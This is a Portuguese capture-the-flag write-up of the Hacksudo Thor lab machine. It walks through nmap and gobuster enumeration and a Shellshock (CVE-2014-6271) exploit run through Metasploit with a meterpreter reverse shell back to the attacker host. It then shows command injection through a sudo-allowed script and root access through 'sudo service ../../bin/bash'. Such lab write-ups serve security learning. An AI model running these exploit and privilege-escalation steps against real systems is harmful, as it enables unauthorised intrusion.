Hacksudo Thor

domingo, 12 de setembro de 2021 13:22

Iniciado os testes com "nmap", onde encontramos as portas 21/ftp, 22/ssh e 80/http.

```
PORT   STATE    SERVICE
21/tcp filtered ftp
22/tcp open     ssh
| ssh-hostkey:
|   2048 37:36:60:3e:26:ae:23:3f:e1:8b:5d:18:e7:a7:c7:ce (RSA)
|   256 34:9a:57:60:7d:66:70:d5:b5:ff:47:96:e0:36:23:75 (ECDSA)
|_  256 ae:7d:ee:fe:1d:bc:99:4d:54:45:3d:61:16:f8:6c:87 (ED25519)
80/tcp open     http
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:D5:DD:87 (Oracle VirtualBox virtual NIC)
```

Executado o "gobuster" e pude identificar que possui o diretório "/cgi-bin/", possivelmente há uma vulnerabilidade de Shell Shock, foi encontrado um arquivo shell.sh

```
===============================================================
2021/08/29 11:51:30 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.0.124/.htaccess            (Status: 403) [Size: 278]
http://192.168.0.124/.htpasswd            (Status: 403) [Size: 278]
http://192.168.0.124/cgi-bin/             (Status: 403) [Size: 278]
http://192.168.0.124/fonts                (Status: 301) [Size: 314] [--> http://192.168.0.124/fonts/]
http://192.168.0.124/images               (Status: 301) [Size: 315] [--> http://192.168.0.124/images/]
http://192.168.0.124/server-status        (Status: 403) [Size: 278]

===============================================================
2021/08/29 11:51:35 Finished
===============================================================
```

```
===============================================================
2021/08/29 12:28:23 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.0.124/cgi-bin/.htpasswd            (Status: 403) [Size: 278]
http://192.168.0.124/cgi-bin/.htaccess            (Status: 403) [Size: 278]
http://192.168.0.124/cgi-bin/.htpasswd.php        (Status: 403) [Size: 278]
http://192.168.0.124/cgi-bin/.htpasswd.txt        (Status: 403) [Size: 278]
http://192.168.0.124/cgi-bin/.htaccess.php        (Status: 403) [Size: 278]
http://192.168.0.124/cgi-bin/.htpasswd.html       (Status: 403) [Size: 278]
http://192.168.0.124/cgi-bin/.htaccess.txt        (Status: 403) [Size: 278]
http://192.168.0.124/cgi-bin/.htpasswd.sh         (Status: 403) [Size: 278]
http://192.168.0.124/cgi-bin/.htaccess.html       (Status: 403) [Size: 278]
http://192.168.0.124/cgi-bin/.htaccess.sh         (Status: 403) [Size: 278]
http://192.168.0.124/cgi-bin/shell.sh             (Status: 500) [Size: 611]

===============================================================
2021/08/29 12:28:46 Finished
===============================================================
```

Pesquisando por "cgi-bin" no Metasploit-Framework e encontramos um exploit para o CVE-2014-6271, para falha de Shell Shock.

```
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > show options

Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec):

   Name            Current Setting    Required  Description
   ----            ---------------    --------  -----------
   CMD_MAX_LENGTH  2048               yes       CMD max line length
   CVE             CVE-2014-6271      yes       CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
   HEADER          User-Agent         yes       HTTP header to use
   METHOD          GET                yes       HTTP method to use
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS          192.168.0.124      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPATH           /bin               yes       Target PATH for binaries used by the CmdStager
   RPORT           80                 yes       The target port (TCP)
   SRVHOST         0.0.0.0            yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on
                                                 all addresses.
   SRVPORT         8080               yes       The local port to listen on.
   SSL             false              no        Negotiate SSL/TLS for outgoing connections
   SSLCert                            no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI       /cgi-bin/shell.sh  yes       Path to CGI script
   TIMEOUT         5                  yes       HTTP read response timeout (seconds)
   URIPATH                            no        The URI to use for this exploit (default is random)
   VHOST                              no        HTTP server virtual host


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.0.249    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux x86
```

Preenchi as informações de target e kali host no exploit e executei ele, recebendo uma shell meterpreter.

```
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > exploit

[*] Started reverse TCP handler on 192.168.0.249:4444
[*] Command Stager progress - 100.46% done (1097/1092 bytes)
[*] Sending stage (984904 bytes) to 192.168.0.124
[*] Meterpreter session 1 opened (192.168.0.249:4444 → 192.168.0.124:52814) at 2021-08-29 12:32:28 -0400

meterpreter > shell
Process 706 created.
Channel 1 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Com o comando "python -c 'import pty;pty.spawn("/bin/bash")'", consegui obter uma shell melhor do usuário (www-data).
Executei o comando "sudo -l" e pude ver que há um arquivo de shell script (hammer.sh), que só pode ser executado pelo usuário thor.

```
bash-4.3$ sudo -l
sudo -l
Matching Defaults entries for www-data on HackSudoThor:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on HackSudoThor:
    (thor) NOPASSWD: /home/thor/./hammer.sh
bash-4.3$
```

Executado como usuário thor o shell script e podemos ver que ele executa comandos como o usuário thor.

```
bash-4.3$ sudo -u thor /home/thor/./hammer.sh
sudo -u thor /home/thor/./hammer.sh

HELLO want to talk to Thor?

Enter Thor  Secret Key : test
test
Hey Dear ! I am test , Please enter your Secret massage : id
id
uid=1001(thor) gid=1001(thor) groups=1001(thor)
Thank you for your precious time!
bash-4.3$
```

Executado os comandos "bash" e "SHELL=/bin/bash script -q /dev/null" para pegar uma shell mais completa do usuário thor.

```
bash-4.3$ sudo -u thor /home/thor/./hammer.sh
sudo -u thor /home/thor/./hammer.sh

HELLO want to talk to Thor?

Enter Thor  Secret Key : id
id
Hey Dear ! I am id , Please enter your Secret massage : bash
bash
id
id
uid=1001(thor) gid=1001(thor) groups=1001(thor)
SHELL=/bin/bash script -q /dev/null
SHELL=/bin/bash script -q /dev/null
thor@HacksudoThor:/tmp$
```

Rodei novamente o comando "sudo -l" e identifiquei que os executáveis (cat) e (service), pode ser usado para escalação de privilégios.
$ LFILE=/bin/bash; $sudo cat "$LFILE"
$ sudo /usr/sbin/service ../../bin/bash

```
thor@HacksudoThor:~$ sudo -l
sudo -l
Matching Defaults entries for thor on HackSudoThor:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User thor may run the following commands on HackSudoThor:
    (root) NOPASSWD: /usr/bin/cat, /usr/sbin/service
thor@HacksudoThor:~$
```

Executado o comando "service ../../bin/bash" e obtive a shell de root.

```
thor@HacksudoThor:~$ sudo service ../../bin/bash
sudo service ../../bin/bash
bash-4.3#

bash-4.3# id
id
uid=0(root) gid=0(root) groups=0(root)
bash-4.3#
```

Capturado a flag de root.


bash-4.3# cat proof.txt
cat proof.txt
rooted